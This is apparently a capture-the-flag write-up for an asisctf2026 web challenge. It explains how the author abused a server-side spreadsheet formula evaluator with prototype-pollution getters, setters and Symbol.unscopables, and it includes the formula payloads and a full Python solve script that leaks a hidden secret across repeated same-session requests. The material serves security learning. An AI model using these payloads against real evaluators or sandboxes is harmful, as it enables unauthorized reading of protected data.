Interdimensional Ledger — asisctf2026

Description

Partial organizer text preserved in local notes: "strange calculations are simply features" and "perfectly secure".

English summary: The target at http://91.107.252.227:3000 is a spreadsheet-like single-page application. The frontend references only /api/sheet; GET /api/sheet returns sheet state as JSON and POST /api/sheet evaluates formulas server-side. The solve was to turn that evaluator into a same-session side channel and capture the hidden secret value.

Analysis

Summary and stack observations

• web-recon.json showed a single HTML page at / and one API endpoint at /api/sheet; common extra routes returned 404.
• The observed server banner was nginx/1.31.4.
• The UI behaves like a spreadsheet, and cells beginning with = are evaluated on the server.
• The inline JavaScript referenced only /api/sheet, so the attack surface was the evaluator rather than a hidden secondary API.

Exposing the evaluator scope

The first important primitive was a getter that exposed the live evaluation scope:

={}.__proto__.__defineGetter__("leak",valueOf)

After that, =constructor.keys(leak) revealed the interesting bindings:

cells,user,shared,secret

This immediately explained the app model:

• cells holds the workbook state.
• user was the literal string u in the tested session.
• shared is a session-local array that persists across requests.
• secret exists in scope, but direct reads were unhelpful: =secret returned an empty string and =secret.length returned 0.

That meant the flag was not recoverable with a simple one-shot =secret read.

Persistent cross-request mutation

The second key observation was that prototype and setter/getter changes in the session realm persisted across later requests in the same session. In particular, this setter survived and fired later:

={}.__proto__.__defineSetter__("secret", shared.push.bind(shared,"secret"))

This proved two useful facts:

1. The evaluator runs in a mutable per-session realm.
2. Later request handling assigns values into that realm by property assignment, so a persistent setter can act as a side-channel hook.

shared was ideal for that hook because shared.push("HELLO"), shared.length, and shared.join("~") all persisted across requests in the same session.

Final exploit chain

The successful chain was:

1. Start one HTTP session.
2. Persist the secret setter shown above.
3. On each later request, expose leak again with __defineGetter__.
4. Recover the well-known symbol from Array.prototype with constructor.getOwnPropertySymbols(constructor.getPrototypeOf(shared)).pop().
5. Write { secret: true } to the live scope's Symbol.unscopables entry.
6. In the same request, run several introspection expressions and read shared.join("~").
7. Repeat the trigger in the same session until the persistent side channel captures the real hidden value.

The trigger request used these formulas:

A1 = {}.__proto__.__defineGetter__("leak",valueOf)
A2 = constructor.defineProperty(leak, constructor.getOwnPropertySymbols(constructor.getPrototypeOf(shared)).pop(), {value:{secret:true}})
A3 = constructor.getOwnPropertyNames(leak).join(",")
A4 = constructor.keys(leak)
A5 = constructor.getOwnPropertySymbols(leak).length
C1 = shared.join("~")

Why it works, based on observed behavior: the evaluator is consistent with a with-style scope object or an equivalent custom resolver. The secret name is normally shadowed by an empty string in direct lookups, but the live scope is still mutable, and session-local hooks survive across recalculations. Marking secret as unscopable on the exposed scope changes how later same-session processing touches that name. Because the setter on secret remains armed across requests, repeated triggers eventually push the real backing value into shared, where it becomes readable.

This was not a clean direct read. The exploit required repeated requests inside the same session. The supplied local solver found the flag on iteration 9 in a successful run.

Failed paths and eliminated hypotheses

• Hidden route hunt: only / and /api/sheet were observed; common extras returned 404.
• Direct JS sandbox escape: constructor.constructor, toString.constructor, and related call/apply/bind variants returned #ERR or empty output.
• Simple SID tampering: attacker-chosen session IDs did not reveal a privileged workbook or a pre-populated secret.
• Direct secret reads: =secret stayed empty, so the final leak had to use the cross-request side channel.

Solution

Reproduction from the local task directory:

1. Open "/Users/sergeyskorobogatov/Projects/Agents/CTF/tasks/asisctf2026/interdimensional_ledger".
2. Run:

python3 "./exploit_flag.py"

3. The script keeps one requests.Session(), installs the persistent setter, then replays the trigger request up to 30 times.
4. In the recorded successful run, iteration 9 produced a shared string containing secret~"ASIS{REDACTED}".

Full working solve script from the local artifact:

import re
import requests

BASE = "http://91.107.252.227:3000"
FLAG_RE = re.compile(r"ASIS\{[^}]+\}")


def post(session, cells):
    return session.post(f"{BASE}/api/sheet", json={"cells": cells}, timeout=20)


def main():
    s = requests.Session()

    # 1) Persist a setter for `secret` in the session realm.
    post(s, {
        "A1": '={}.__proto__.__defineSetter__("secret", shared.push.bind(shared,"secret"))'
    })

    sym = 'constructor.getOwnPropertySymbols(constructor.getPrototypeOf(shared)).pop()'
    cells = {
        "A1": '={}.__proto__.__defineGetter__("leak",valueOf)',
        "A2": f'=constructor.defineProperty(leak,{sym},{{value:{{secret:true}}}})',
        "A3": '=constructor.getOwnPropertyNames(leak).join(",")',
        "A4": '=constructor.keys(leak)',
        "A5": '=constructor.getOwnPropertySymbols(leak).length',
        "C1": '=shared.join("~")',
    }

    for i in range(1, 31):
        r = post(s, cells)
        m = FLAG_RE.search(r.text)
        print(f"try {i}: {r.text}")
        if m:
            print(m.group(0))
            return

    raise SystemExit("flag not found in 30 iterations")


if __name__ == "__main__":
    main()